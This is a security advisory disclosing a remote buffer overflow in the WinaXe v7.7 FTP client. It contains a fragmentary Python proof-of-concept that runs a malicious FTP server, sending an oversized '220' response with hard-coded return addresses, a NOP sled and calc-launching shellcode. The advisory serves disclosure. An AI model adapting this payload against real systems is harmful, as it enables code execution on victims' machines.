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WinaXe v7.7 FTP 'Server Ready' CMD Remote Buffer Overflow
Nov 05 2016 10:57PM
apparitionsec gmail com/hyp3rlinx
[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFF
[+] ISR: Apparition Security
WinaXe v7.7 FTP
The X Window System, SSH, TCP/IP, NFS, FTP, TFTP and Telnet software are built and provided in the package.
All that you need to run remote UNIX and X Applications is included within WinaXe Plus. You operate simultaneously with
X11, FTP and Telnet sessions and with your familiar MS Windows applications.
Remote Buffer Overflow
WinaXe v7.7 FTP client is subject to MULTIPLE remote buffer overflow vectors when connecting to a malicious FTP Server and
receiving overly long payloads in the command response from the remote server.
220 SERVICE READY
331 USER / PASS
below is POC for "server ready" 220 command exploit when first connecting to a FTP server.
#WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit
#shellcode to pop calc.exe Windows 7 SP1
eip=struct.pack('<L',0x68084A6F) #POP ECX RET
jmpesp=struct.pack('<L',0x68017296) #JMP ESP
#We will do POP ECX RET and place a JMP ESP address at the RET address that will jump to shellcode.
payload="A"*2061+eip+jmpesp+"\x90"*10+sc+"\x90"*20 #Server Ready '220' Exploit
port = 21
s = socket.socket()
host = '127.0.0.1'
print 'Evil FTPServer listening...'
conn, addr = s.accept()
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